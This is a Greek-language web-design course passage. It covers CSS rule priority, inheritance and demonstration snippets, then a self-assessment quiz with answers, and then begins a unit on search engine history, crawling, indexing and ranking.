Οι ιδιότητες CSS που βρίσκονται μέσα στην ιδιότητα style ενός στοιχείου έχουν πάντα μεγαλύτερη προτεραιότητα από οποιεσδήποτε άλλες (εκτός από όσες χρησιμοποιούν !important, το οποίο θα αναλυθεί παρακάτω)

•

Οι κανόνες CSS που βρίσκονται μέσα στα tags <style>...</style> έχουν μεγαλύτερη προτεραιότητα από αυτούς που βρίσκονται σε ένα εξωτερικό αρχείο CSS.

•

Όταν δύο ή περισσότερα αρχεία CSS συμπεριλαμβάνονται στην ίδια ιστοσελίδα, οι κανόνες αυτού που γράφτηκε τελευταίο στη σελίδα έχουν μεγαλύτερη προτεραιότητα από αυτούς του πρώτου.

•

Ένας κανόνας CSS έχει μεγαλύτερη προτεραιότητα από όσους κανόνες CSS βρίσκονται γραμμένοι πιο πάνω από αυτόν αν δεν συντρέχει άλλος λόγος για να μετρήσει παραπάνω κάποιος από αυτούς.

•

Οι κανόνες με επιλογέα του τύπου .όνομα_κλάσης έχουν μεγαλύτερη προτεραιότητα από κανόνες με επιλογέα του τύπου στοιχείο, μιας και είναι πιο συγκεκριμένοι.

•

Οι επιλογείς του τύπου #όνομα_id έχουν μεγαλύτερη προτεραιότητα από επιλογείς του τύπου .όνομα_κλάσης, μιας και είναι πιο συγκεκριμένοι.

Σε κάθε περίπτωση, αν επιθυμούμε μια ιδιότητα ενός κανόνα να έχει μεγαλύτερη προτεραιότητα από αυτή που της αντιστοιχεί, πριν το ; γράφουμε !important. Ωστόσο γενικά πρέπει να χρησιμοποιείται αυτή η τεχνική με φειδώ μιας και μπορεί να οδηγήσει σε μπερδεμένο κώδικα CSS. Στο πρώτο παράδειγμα, αν είχαμε γράψει στο CSS μας: .testclass { color: red; } div { color: gray !important; } τότε τα γράμματα στο στοιχείο <div class=”testclass”>test text</div> θα ήταν γκρι, αντί για κόκκινα.

Κληρονομικότητα Στην html, κάθε στοιχείο αποτελεί «απόγονο» (descendant) κάποιου άλλου στοιχείου, εκτός από το στοιχείο <html> που αποτελεί πρόγονο (anchestor) για κάθε στοιχείο στη σελίδα μας. Το κάθε στοιχείο μπορεί να έχει και δικούς του απογόνους, εκτός αν πρόκειται για self-closing στοιχεία όπως το img ή το input, τα οποία δεν διαθέτουν tag κλεισίματος (end tag). Έτσι διαμορφώνεται μια ιεραρχία, η οποία αποτελεί το DOM tree (Document Object Model tree).

Όταν εφαρμόζουμε μια ιδιότητα CSS σε ένα στοιχείο, μπορεί να κληρονομηθεί και στα στοιχεία-απογόνους του ή μπορεί και να μην κληρονομηθεί, αναλόγως την ιδιότητα. Όσον αφορά τις ιδιότητες που αναφέραμε παραπάνω, αυτές που κληρονομούνται και στα στοιχεία απογόνους είναι οι: •

color

•

font-size

•

font-family

•

font-style

•

font-weight

•

text-align

•

text-decoration

Φυσικά αν ορίσουμε μέσω κάποιου κανόνα CSS μια διαφορετική τιμή για μια συγκεκριμένη ιδιότητα, θα εφαρμοστεί αυτή η τιμή και όχι η κληρονομημένη (inherited). Όταν επιθυμούμε ένα στοιχείο να αποκτήσει για μια ιδιότητα την τιμή της ιδιότητας αυτής του γονέα του ενώ αυτή κανονικά δεν κληρονομείται, μπορούμε ως τιμή της ιδιότητας για το στοιχείο αυτό να ορίσουμε την inherit. Παραδείγματα Σελίδα με διαμορφωμένη εικόνα Για να δημιουργηθεί το αποτέλεσμα της επόμενης εικόνας, χρησιμοποιούμε συνδυασμό κώδικα HTML και CSS, όπως παρακάτω.

Παρατηρούμε ότι μια εμφανίσιμη σελίδα δεν χρειάζεται μεγάλου μήκους κώδικα! Επίσης, ο σχεδιαστής ιστοσελίδων μπορεί να χρειαστεί εικόνες ελεύθερης διανομής, για να εμπλουτίσει τις σελίδες που κατασκευάζει. Στο διαδίκτυο υπάρχουν πολλές πηγές τέτοιων εικόνων, όπου οι καλλιτέχνες διαθέτουν ελεύθερα τις φωτογραφίες τους. Δημιουργία μενού Όμοια, για να δημιουργηθεί η Εικόνα 12.4 πρέπει να γράψετε τον παρακάτω κώδικα. Παρατηρήστε ότι ο κώδικας HTML χρησιμοποιεί λίστες. Η διαμόρφωση μέσω CSS μετατρέπει την απλή λίστα σε μενού.

Σελίδα με τρία πλαίσια Οι δυνατότητες των CSS είναι τέτοιες που μπορούμε να δημιουργήσουμε σύνθετες σελίδες, όπως για

παράδειγμα μια σελίδα με τρία πλαίσια και ανεξάρτητο τίτλο και υποσέλιδο.

Γενικά, διατάξεις, όπως αυτή, είναι αρκετά πολύπλοκες και απαιτούν αρκετό πειραματισμό κι εμπειρία για την κατασκευή τους. Η πολυπλοκότητα διαμόρφωσης τέτοιων πολύστηλων δομών, αλλά και η ανάγκη για τη χρήση τους, π.χ. σε blogs και sites εφημερίδων, οδήγησε στη δημιουργία ειδικών στοιχείων HTML και CSS που χειρίζονται πολλές στήλες ευκολότερα. Για παράδειγμα, ένα στυλ όπως το παρακάτω δημιουργεί τρεις στήλες με συγκεκριμένο πλάτος και απόσταση. Από τον ορισμό του φαίνεται ότι υπάρχουν συγκεκριμένες δεσμευμένες λέξεις για διαφορετικούς browsers, ενώ υπάρχουν κάποιοι, όπως ο Internet Explorer 9 και οι παλαιότερες εκδόσεις του, που δεν τις υποστηρίζουν.

CSS – Positioning <html> <head> </head>

<body> <div style = "position:relative; left:80px; top:2px; background-color:yellow;"> This div has relative positioning. </div> </body> </html> <html>

<head> </head>

<body> <div style = "position:absolute; left:80px; top:20px; background-color:yellow;"> This div has absolute positioning. </div> </body> </html> <html> <head> </head>

<body> <div style = "position:fixed; left:80px; top:20px; background-color:yellow;"> This div has fixed positioning. </div> </body> </html>

CSS – Layers <html>

<head> </head>

<body> <div style = "background-color:red; width:300px; height:100px; position:relative; top:10px; left:80px; z-index:2"> </div>

<div style = "background-color:yellow; width:300px; height:100px; position:relative; top:-60px; left:35px; z-index:1;"> </div>

<div style = "background-color:green; width:300px; height:100px; position:relative; top:-220px; left:120px; z-index:3;"> </div> </body> </html>

CSS - Pseudo Classes <html> <head> <style type = "text/css"> a:link {color:#000000} </style> </head>

<body> <a href = "">Black Link</a> </body> </html> <html> <head> <style type = "text/css"> a:visited {color: #006600} </style> </head>

<body> <a href = "">Click this link</a> </body> </html> <html> <head> <style type = "text/css"> a:hover {color: #FFCC00} </style> </head>

<body> <a href = "">Bring Mouse Here</a> </body> </html> <html> <head> <style type = "text/css"> a:active {color: #FF00CC} </style> </head>

<body> <a href = "">Click This Link</a> </body> </html> <html> <head> <style type = "text/css"> a:focus {color: #0000FF} </style> </head>

<body> <a href = "">Click this Link</a> </body> </html> <html> <head> <style type = "text/css"> div > p:first-child { text-indent: 25px; } </style> </head>

<body>

<div> <p>First paragraph in div. This paragraph will be indented</p> <p>Second paragraph in div. This paragraph will not be indented</p> </div> <p>But it will not match the paragraph in this HTML:</p>

<div>

<h3>Heading</h3> <p>The first paragraph inside the div. This paragraph will not be effected.</p> </div>

</body> </html> <html> <head> <style type = "text/css">

/* Two levels of quotes for two languages*/ :lang(en) { quotes: '"' '"' "'" "'"; } :lang(fr) { quotes: "<<" ">>" "<" ">"; } </style> </head>

<body> <p>...<q lang = "fr">A quote in a paragraph</q>...</p> </body> </html> CSS3 – Shadow <html>

<head> <style> h1 { text-shadow: 2px 2px; } h2 { text-shadow: 2px 2px red; } h3 { text-shadow: 2px 2px 5px red; } h4 { color: white; text-shadow: 2px 2px 4px #000000; } h5 { text-shadow: 0 0 3px #FF0000; } h6 { text-shadow: 0 0 3px #FF0000, 0 0 5px #0000FF; } p{

color: white; text-shadow: 1px 1px 2px black, 0 0 25px blue, 0 0 5px darkblue; } </style> </head>

<body> <h1>Tutorialspoint.com</h1> <h2>Tutorialspoint.com</h2> <h3>Tutorialspoint.com</h3> <h4>Tutorialspoint.com</h4> <h5>Tutorialspoint.com</h5> <h6>Tutorialspoint.com</h6> <p>Tutorialspoint.com</p> </body> </html>

<html> <head> <style> div { width: 300px; height: 100px; padding: 15px; background-color: red; box-shadow: 10px 10px; } </style>

</head>

<body> <div>This is a div element with a box-shadow</div> </body> </html> CSS – Cursors <html> <head> </head>

<body> <p>Move the mouse over the words to see the cursor change:</p>

<div style = "cursor:auto">Auto</div> <div style = "cursor:crosshair">Crosshair</div> <div style = "cursor:default">Default</div>

<div style = "cursor:pointer">Pointer</div> <div style = "cursor:move">Move</div> <div style = "cursor:e-resize">e-resize</div> <div style = "cursor:ne-resize">ne-resize</div>

<div style = "cursor:nw-resize">nw-resize</div>

<div style = "cursor:n-resize">n-resize</div> <div style = "cursor:se-resize">se-resize</div> <div style = "cursor:sw-resize">sw-resize</div> <div style = "cursor:s-resize">s-resize</div> <div style = "cursor:w-resize">w-resize</div>

<div style = "cursor:text">text</div> <div style = "cursor:wait">wait</div> <div style = "cursor:help">help</div> </body> </html>

Χρήσιμοι σύνδεσμοι Τα παραπάνω αποτελούν απλά μια εισαγωγή στο CSS, και περιλαμβάνουν μόνο πολύ βασικές γνώσεις για αυτό. Για περισσότερες πληροφορίες, μπορείτε να ανατρέξετε σε κάποιο από τα παρακάτω sites. W3 Schools - CSS Το επίσημο reference του W3C για το CSS. Δεν περιέχει πολλές πληροφορίες, αλλά είναι χρήσιμο για να βλέπετε στα γρήγορα κάποια ιδιότητα και τις τιμές της. Επίσης για κάθε ιδιότητα διαθέτει τη δυνατότητα να τη δοκιμάσετε μόνοι σας βλέποντας και τα αποτελέσματα, κάτι που το καθιστά ιδιαίτερα χρήσιμο. CSS Property Index by Brian Wilson

Πλήρης αναφορά όλων των ιδιοτήτων CSS που περιλαμβάνει για κάθε ιδιότητα τις τιμές που δέχεται, από ποιους browsers υποστηρίζεται, το html αντίστοιχο της (αν υπάρχει), παραδείγματα χρήσης της καθώς και διάφορες γνωστές «παραξενιές» των διαφόρων browsers που την αφορούν. Αν ξεπεράσει κανείς το κακό design του εν λόγω site, μπορεί να αποτελέσει ένα πολύ χρήσιμο εργαλείο στην ανάπτυξη ιστοσελίδων. Web developer’s handbook Site που περιέχει links σε διάφορες καλές πηγές γνώσης όσον αφορά ο,τι χρειάζεται κάποιος που ασχολείται με την ανάπτυξη ιστοσελίδων, συμπεριλαμβανόμενου και του CSS. http://www.css3.info/ Τι μας περιμένει στο μέλλον όσον αφορά το CSS? Διαβάστε στο site αυτό τις τελευταίες εξελίξεις όσον αφορά το CSS3 που έρχεται και ...αρχίστε να ανυπομονείτε! W3C CSS Validator Ο επίσημος CSS Validator του W3C. Σας επιτρέπει να βρείτε εύκολα σφάλματα σύνταξης στον κώδικα CSS σας. Web colors Άρθρο στη Wikipedia όσον αφορά τα χρώματα στο web. Αν σας μπέρδεψαν παραπάνω όλα αυτά τα #CCCCCC και τα rgb(255,128,30) τότε καλό θα ήταν να το διαβάσετε. Αγνοήστε τα περί web-safe colors, πλέον που οι περισσότερες οθόνες εμφανίζουν εκατομμύρια χρώματα, δεν έχουν και πολλή χρησιμότητα.

Σύνοψη Εκπαιδευτικής Ενότητας 5 Στην

ενότητα 5, παρουσιάζονται οι φάσεις Κατασκευής Ιστοσελίδων, κάποια βασικά

Εργαλεία Κατασκευής Ιστοσελίδων, οι βασικοί κανόνες CSS και οι ιδιοτήτες που αφορούν μορφοποίηση κειμένου και της κληρονομικότητας.

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 5 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις

ΕΡΩΤΗΣΗ 1: To CSS είναι μια απλή γλώσσα που μας βοηθάει να ορίσουμε με σαφήνεια και ιδιαίτερη ευελιξία τον τρόπο με τον οποίο θα εμφανίζονται τα διάφορα στοιχεία στην ιστοσελίδα μας. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 2: Πολλές φορές μπορούμε να συνδυάσουμε σε έναν επιλογέα περισσότερους από έναν υπό-επιλογείς, βάσει συγκεκριμένων κανόνων σύνταξης, κάτι που μας προσφέρει μεγαλύτερη ευελιξία και εξοικονόμηση χρόνου. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

3: Η πιο «σωστή» χρήση του CSS είναι το Inline CSS

α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 4: Η ιδιότητα text-decoration μας επιτρέπει να εφαρμόσουμε στο κείμενο μας διάφορα εφέ α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 5: Ορισμένες φορές χρησιμοποιούμε τις λεγόμενες ψευδό-κλάσεις (pseudo-classes) ή ψευδό-στοιχεία (pseudo-elements), τα οποία μας επιτρέπουν να επιλέγουμε στοιχεία τα οποία δεν αποτελούν html elements, αλλά κομμάτια τους ή συγκεκριμένες καταστάσεις τους. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 6: Πλεονεκτήματα που έχει η χρήση CSS είναι…. α. Εύκολη συντήρηση των ιστοσελίδων β. Μικρό μέγεθος αρχείου γ. όλα τα παραπάνω

ΕΡΩΤΗΣΗ 7: Όταν ο επιλογέας μας περιλαμβάνει ένα χαρακτήρα (*) στην αρχή του, τότε ο browser εφαρμόζει τις ιδιότητες που θα γράψουμε στο στοιχείο το οποίο περιλαμβάνει την ιδιότητα id=”όνομα_id” α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 8: Όταν ο επιλογέας αποτελείται απλά από το όνομα ενός html tag, τότε οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS εφαρμόζονται σε κάθε τέτοιο στοιχείο html α. ΣΩΣΤΟ β. ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 9: Ένας «κανόνας» CSS αποτελείται από …. μέρη α. 2 β. 3 γ. Κανένα από τα παραπάνω

ΕΡΩΤΗΣΗ 10: Όταν ο επιλογέας είναι ένας χαρακτήρας αστερίσκου, τότε οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS εφαρμόζονται σε ένα στοιχείο της σελίδας μας. α. ΣΩΣΤΟ β. ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 5 1:

Απάντηση 1. Α

2:

Απάντηση 2. Α

3:

Απάντηση 3. Β

4:

Απάντηση 4. Α

5:

Απάντηση 5. Α

6:

Απάντηση 6. Γ

7:

Απάντηση 7. Β

8:

Απάντηση 8 Α

9:

Απάντηση 9. Α

10:

Απάντηση 10. Β

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 6: Search Engine Optimization και E-shop ΣΚΟΠΟΣ Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίση των μηχανών αναζήτησης, το SEM, το SEO και τα CMS και συγκεκριμένα ο σκοπός, τα χαρακτηριστικά τους, και η κατασκευή μιας ιστισελίδος με την χρήση δύο CMS του Wordpress και της Joomla.

ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού της εκπαιδευτικής ενότητας θα είστε σε θέση να γνωρίζετε: Μηχανές Αναζήτησης Την κατασκευή ιστοσελίδων με το WordPress και την Joomla Μάρκετινγκ Μηχανών Αναζήτησης (SEM) Εργαλεία Βελτιστοποίησης (SEO) Κριτήρια Επιλογής της κατάλληλης Μεθόδου SEM ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ CMS, Web Server, Wordpress, Joomla, SEO, SEM. Μηχανές Αναζήτησης Η μηχανή αναζήτησης ή υπηρεσία αναζήτησης είναι μια εφαρμογή σχεδιασμένη να βοηθά στην εύρεση πληροφοριών που είναι αποθηκευμένες σε κάποιο υπολογιστικό σύστημα όπως το World Wide Web, ή ένα εταιρικό ή προσωπικό δίκτυο ή ακόμα και σε ένα προσωπικό υπολογιστή. Συνήθως ο όρος μηχανή αναζήτησης αναφέρεται σε δικτυακή μηχανή αναζήτησης η οποία μαζί με τις ιστοσελίδες κοινωνικής δικτύωσης, είναι οι πιο διάσημες ιστοσελίδες στο διαδίκτυο λόγω της υποστήριξης που προσφέρουν στην ανεύρεση πληροφοριών. Πρόκειται για μια εφαρμογή λογισμικού η οποία δημιουργεί μια βάση δεδομένων με πληροφορίες από το διαδίκτυο και επιτρέπει στο χρήστη την προσπέλασή της για την αναζήτηση και την ανάκτηση της πληροφορίας πληκτρολογώντας κάποιες λέξεις κλειδιά σχετικά με το θέμα που αναζητά. Το 1990 οι φοιτητές Peter Deutsch, Alan Emtage και Bill Heelan από το πανεπιστήμιο McGill του Μόντρεαλ δημιούργησαν την πρώτη μηχανή αναζήτησης τη λεγόμενη Archie η οποία ήταν ένα πρόγραμμα που «φόρτωνε» λίστες καταλόγων από όλα τα αρχεία, τα οποία ήταν αποθηκευμένα σε ανώνυμες FTP ιστοσελίδες, σε ένα συγκεκριμένο δίκτυο υπολογιστών.

Οι λίστες αυτές στη συνέχεια αποθηκεύονταν σε μια βάση δεδομένων. Λόγω περιορισμένου χώρου εμφανιζόταν μόνο η λίστα με τα αποτελέσματα και όχι τα περιεχόμενά τους. Στη συνέχεια το 1992 ο «πατέρας» του παγκόσμιου ιστού ο Tim BernersLee, παρουσίασε την VLib, μια εικονική βιβλιοθήκη-μηχανή αναζήτησης που φιλοξενείτε στους διακομιστές του Cern. Το 1993 εμφανίζεται η Ali-Web η οποία παρείχε τη δυνατότητα στους χρήστες της να καταχωρούν τις ιστοσελίδες που επιθυμούσαν να συμπεριληφθούν στη μηχανή αναζήτησης μαζί με μια περιγραφή τους. Την ίδια χρονιά μετά από μερικούς μήνες δημιουργείται η Excite από 6 φοιτητές του πανεπιστημίου Stanford. Διέθετε πιο μοντέρνο interface, όμως το 2001 λόγω χρεοκοπίας πουλήθηκε. Σήμερα βέβαια λειτουργεί κανονικά δίνοντας αποτελέσματα σε ένα πολύ καθαρό και καλό interface αλλά πολλοί υποστηρίζουν ότι η κεντρική της σελίδα θυμίζει την εποχή εκείνη. Το 1994 εμφανίζεται η WebCrawler η οποία ήταν η πρώτη μηχανή αναζήτησης που τοποθετούσε σε ευρετήριο ολόκληρες τις σελίδες. Έγινε τόσο δημοφιλής που ορισμένες φορές, με το διαδίκτυο της εποχής ήταν σχεδόν αδύνατο να χρησιμοποιηθεί. Συνεχίζει να υπάρχει με μοντέρνα εμφάνιση, παρουσιάζοντας αποτελέσματα από τις μηχανές των Google και Yahoo. Δεν περάσανε λίγοι μήνες και η μηχανή αναζήτησης που ξεχώρισε εκείνη την εποχή ήταν η Lycos, όπου δημοσιοποίησε έναν κατάλογο με πάνω από 54.000 εγγραφές, κατατάσσοντας τα αποτελέσματα σύμφωνα με την σχετικότητα ανάκτησης, ενώ συγχρόνως έκανε αντιστοίχιση προθέματος και εγγύτητας λέξης. Για την εμπορική εκμετάλλευση της μηχανής αυτής δημιουργήθηκε στα τέλη Ιουνίου του 1995 η εταιρεία Lycos Inc., ενώ τεχνολογικά αποτελεί έργο του Dr. Michael Mauldin στο Πανεπιστήμιο Carnegie Mellon. Ενώ ακόμα συνεχίζει αν υπάρχει περιλαμβάνει άνω του 90% των διευθύνσεων του Web! Η μηχανή εξακολουθεί να υπάρχει ακόμα και σήμερα, παρέχοντας ακριβή αποτελέσματα με ένα καθαρό layout και μικρογραφίες των ιστοσελίδων. Το 1995 έρχεται η λεγόμενη Altavista η πρώτη μηχανή που επέτρεπε αναζητήσεις στην φυσική γλώσσα του καθενός, ενώ είχε απεριόριστο εύρος ζώνης, με προηγμένες τεχνικές αναζήτησης και προσθήκη η διαγραφή κάποιου Url μέσα σε 24 ώρες. Σήμερα δεν υπάρχει πλέον, αν και το url της (altavista.com) είναι ενεργό. Την ίδια χρονιά κάνει την εμφάνισή του και το Yahoo. Αυτή η μηχανή αναζήτησης δημιουργήθηκε από τους David Filo και Jerry Yang. Στην αρχή ξεκίνησε σαν μια συλλογή από αγαπημένες ιστοσελίδες αλλά στη συνέχεια το αυξανόμενο μέγεθός τους της έδωσε τη δυνατότητα να μετατραπεί σε κατάλογος αναζήτησης. Επίσης παρέχει χειροκίνητη προσθήκη νέων Urls με μεγάλο χρόνο αναμονής.

Στα μέσα του 1997 παρουσιάζεται το Ask Jeeves η οποία παρείχε τη δυνατότητα υποβολής ερωτημάτων σε φυσική γλώσσα με χρήστες να προσπαθούν να ταιριάξουν τα αποτελέσματα των αναζητήσεων. Υπάρχει ακόμα και σήμερα με ένα αρκετά μοντέρνο περιβάλλον και με αξιόπιστα αποτελέσματα. Το όνομά της έχει μετατραπεί σε Ask.com. Ένα χρόνο μετά το 1998 ιδιωτικοποιείται η Google μια από τις μεγαλύτερες εταιρίες διαδικτυακών υπηρεσιών. Ιδρύθηκε το 1996 από τους Lary Page και Sergey Brin όταν αυτοί κάνανε το διδακτορικό τους στο πανεπιστήμιο Stanford. Η συγκεκριμένη μηχανή αναζήτησης αξιοποιούσε τις συνδέσεις και τις αναφορές από και προς άλλες ιστοσελίδες. Σήμερα αποτελεί το βασικότερο σημείο αναφοράς για κάθε αναζήτηση στο διαδίκτυο με ποσοστό πάνω από 97%. Το 1998 παρουσιάζεται επίσης και η μηχανή αναζήτησης Msn η οποία στην αρχή βασιζόταν πάνω σε αλγορίθμους άλλων μηχανών αναζήτησης. Το 2004 αναβαθμίστηκε με νέους αλγορίθμους αναζήτησης και το 2005 απέρριπτε αποτελέσματα που βασιζόταν σε αλγορίθμους της Yahoo. Μετά από τέσσερα χρόνια το 2009 αλλάζει ονομασία και γίνεται Bing παρέχοντας τη δυνατότητα ενσωμάτωσης προτάσεων για σχετικά αποτελέσματα απευθείας στο σύνολο των αποτελεσμάτων. Λειτουργία μηχανών αναζήτησης Οι μηχανές αναζήτησης κατηγοριοποιούνται σύμφωνα με τον τρόπο λειτουργίας που χρησιμοποιεί η καθεμία για την εύρεση και ανάκτηση της πληροφορίας και ως προς τον τρόπο συγκέντρωσης των καταχωρήσεων ως εξής: - Σε Crawler-based μηχανές αναζήτησης - Σε Ηuman-powered κατάλογοι - Σε Hybrid μηχανές αναζήτησης - Σε μηχανές Meta-αναζήτησης Οι μηχανές αναζήτησης αυτής της κατηγορίας χρησιμοποιούν κάποια εξελιγμένα λογισμικά χάρις τα οποία ο χρήστης έχει τη δυνατότητα συλλογής πληροφοριών δημιουργώντας αυτόματα τις λίστες με τα αποτελέσματα. Οι λειτουργίες αυτών των προγραμμάτων είναι οι εξής: 1. Ανίχνευση του παγκόσμιου ιστού (Web Crawling). 2. Ευρετηρίαση εγγράφων (Indexing). 3. Επεξεργασία ερωτημάτων (Query Processing).

4. Κατάταξη αποτελεσμάτων (Ranking).

Ανίχνευση του παγκόσμιου ιστού Για την εύρεση των ιστοσελίδων που μας παρέχουν τις απαιτούμενες κάθε φορά πληροφορίες οι συγκεκριμένες μηχανές αναζήτησης χρησιμοποιούν τα επονομαζόμενα spider (αράχνη) ή robot ή αλλιώς crawlers (ανιχνευτές) προγράμματα. Πρόκειται για ειδικά αυτοματοποιημένα λογισμικά τα οποία ανιχνεύουν κάθε ιστοσελίδα στον παγκόσμιο ιστό και συλλέγουν λέξεις-κλειδιά οι οποίες αποθηκεύονται σε μια βάση δεδομένων. Στο spider δίνονται κάποιες ιστοσελίδες εκ των οποίων μια από αυτές θα γίνει η αφετηρία για την έναρξη της ανίχνευσης των ιστοσελίδων στο παγκόσμιο ιστό. Σε κάθε λοιπόν ιστοσελίδα το spider αποθηκεύει τους συνδέσμους της και συγχρόνως ανιχνεύει και το περιεχόμενό της και συνεχίζει και κάνει την ίδια διαδικασία και για τους υπόλοιπους καταγεγραμμένους συνδέσμους. Με τη σειρά τους οι σύνδεσμοι αυτοί παραπέμπουν το spider σε άλλες σελίδες του ίδιου αλλά και ενός άλλου ιστότοπου. Κάθε αποθηκευμένη ιστοσελίδα στη βάση δεδομένων της μηχανής αναζήτησης αντιστοιχεί σε κάποιο κόστος αλλά το μεγαλύτερο κόστος που αντιμετωπίζει η εταιρία που συντηρεί τη μηχανή αναζήτησης είναι το κόστος του spider software. Κάποιες μεθόδους διατήρησης του κόστους αυτού σε σχετικά κανονικά επίπεδα είναι τα εξής: - Περιορισμός του αριθμού των ιστοσελίδων στη βάση δεδομένων διαγράφοντας τις παλιότερες χρονικά ιστοσελίδες. - Περιορισμός της συχνότητας των επισκέψεων του spider στις ίδιες ιστοσελίδες. - Περιορισμός της επίσκεψης του spider σε κάποιες περιοχές του διαδικτύου. Επιπλέον θα πρέπει να τονιστεί ότι τα λογισμικά ανίχνευσης ιστού έχουν την ίδια λειτουργία αλλά ο αλγόριθμος προγραμματισμού του κάθε spider είναι διαφορετικοί. Επίσης η αράχνη για να επιλέξει τον καλύτερο δυνατό σύνδεσμο στην επόμενη επανάληψη ανίχνευσης καταχωρεί για κάθε σύνδεσμο ένα βαθμό βαρύτητας Οι κατηγορίες των αραχνών διακρίνονται ανάλογα με τον αλγόριθμο υπολογισμού του βαθμού βαρύτητας. Μερικοί από τους αλγορίθμους που χρησιμοποιούνται είναι οι Αφελής Πρώτο-Καλύτερο αράχνες, το Sharksearch, το Infospiders κ.α. Ας δούμε τον τρόπο με τον οποίο λειτουργούν μερικοί από αυτούς τους αλγορίθμους ανίχνευσης ιστού.

1. Αφελής Πρώτο-Καλύτερο αράχνες: Αυτή η κατηγορία αλγορίθμου παρουσιάζει τις ιστοσελίδες σαν ένα διάνυσμα λέξεων με βαρύτητα υπολογιζόμενη από τη συχνότητα εμφάνισης. Στη συνέχεια υπολογίζουν την συνημιτονική ομοιότητα της ιστοσελίδας με το ερώτημα του χρήστη(υπολογίζεται από τον εξής μαθηματικό τύπο: sim(q,p) = (Vq * Vp )/||Vq||*||Vp||) και το αποτέλεσμα καταχωρείται ως ο βαθμός βαρύτητας του συνδέσμου. Ο σύνδεσμος αποθηκεύεται στη λίστα συνδέσμων τους οποίους δεν έχει ανιχνεύσει η αράχνη. Η ταξινόμηση της λίστας πραγματοποιείται με βάσει το βαθμό βαρύτητας κάθε συνδέσμου. 2. Sharksearch: Οι συγκεκριμένοι αλγόριθμοι αράχνης χρησιμοποιούν ένα μέτρο υπολογισμού του βαθμού βαρύτητας παρόμοιο με τον παραπάνω αλγόριθμο. Συγκεκριμένα σε αυτό τον αλγόριθμο αναθέτεται σε κάθε σύνδεσμο ένας βαθμός βαρύτητας σε σχέση με το λεκτικό μέρος του συνδέσμου και άλλος ένας βαθμός βαρύτητας σε σχέση με το κείμενο που περιβάλλει το σύνδεσμο. Από το συνδυασμό τους υπολογίζεται ο τελικός βαθμός βαρύτητας. 3. Infospiders: Οι αλγόριθμοι infospiders χρησιμοποιούν ένα πλήθος από αράχνες οι οποίοι αναζητούν ιστοσελίδες σχετικές με το ερώτημα του χρήστη. Κάθε αράχνη ακολουθεί την επανάληψη ανίχνευσης χρησιμοποιώντας μια λίστα ερωτημάτων για να αποφασίσει ποιους συνδέσμους θα ακολουθήσει. Ο αλγόριθμος αναθέτει μια αποκλειστική λίστα σε κάθε αράχνη. Ευρετηρίαση Εγγράφων (Indexing) Ο σκοπός κάθε μηχανής αναζήτησης είναι η ποικιλία των αποτελεσμάτων αλλά και η γρήγορη ταχύτητα προβολής αυτών στο χρήστη. Για να επιτευχθεί αυτό οι μηχανές αναζήτησης κατασκευάζουν το ευρετήριό τους και η διαδικασία αυτή ονομάζεται ευρετηρίαση ή αλλιώς indexing. Η συγκεκριμένη διαδικασία αφορά τη συλλογή, την επεξεργασία αλλά και την αποθήκευση των στοιχείων των ιστοσελίδων σε δομές δεδομένων. Έχουν κατασκευαστεί διάφορες δομές δεδομένων με τα δικά της πλεονεκτήματα και μειονεκτήματα η καθεμία. Οι μηχανές αναζήτησης χρησιμοποιούν ένα συνδυασμό διαφόρων δομών δεδομένων. Για παράδειγμα η Google συνδυάζει τις ακόλουθες δομές δεδομένων: Big files, Repository, document index, Lexicon, Hit lists, Forward index και Inverted index. Στην παρακάτω εικόνα ακολουθεί η διαδικασία ευρετηρίασης. Επεξεργασία ερωτημάτων (Query Processing)

Η τρίτη κατά σειρά βασική λειτουργία των crawler based μηχανών αναζήτησης είναι η επονομαζόμενη επεξεργασία ερωτημάτων. ‘Όπως φανερώνει κai το όνομά της πρόκειται για μια διαδικασία η οποία ενεργοποιείται όταν εισαχθεί η ερώτηση από το χρήστη (λέξειςκλειδιά) για τις πληροφορίες που θέλουμε να αναζητήσουμε. Στην ουσία οι μηχανές αναζήτησης ψάχνουν στο ευρετήριό τους όλα εκείνα τα στοιχεία που καλύπτουν το ερώτημα που έθεσε ο χρήστης και παρουσιάζει μια λίστα με τα αποτελέσματααπαντήσεις του ερωτήματος. Σαφέστατα όλες οι μηχανές αναζήτησης δεν παράγουν τα ίδια αποτελέσματα για την ίδια ερώτηση και σε αυτό το σημείο βασίζεται η διαφορετικότητα και ο ανταγωνισμός των μηχανών αναζήτησης. Αυτό οφείλεται στο τρόπο με τον οποίο τα spider είναι οργανωμένα στην κάθε μηχανή αναζήτησης. Κατάταξη αποτελεσμάτων (racking) Η κάθε μηχανή αναζήτησης χρησιμοποιεί έναν αλγόριθμο δηλαδή μια μαθηματική εξίσωση ταξινόμησης. Εκτελώντας τους κατάλληλους υπολογισμούς στο κάθε αποτέλεσμα που ικανοποίησε την ερώτηση του χρήστη, κατατάσσει τα έγγραφα στη λίστα των αποτελεσμάτων με φθίνουσα ταξινόμηση έχοντας ως κριτήριο το βαθμό της σχετικότητας του αποτελέσματος με το συγκεκριμένο κάθε φορά ερώτημα.

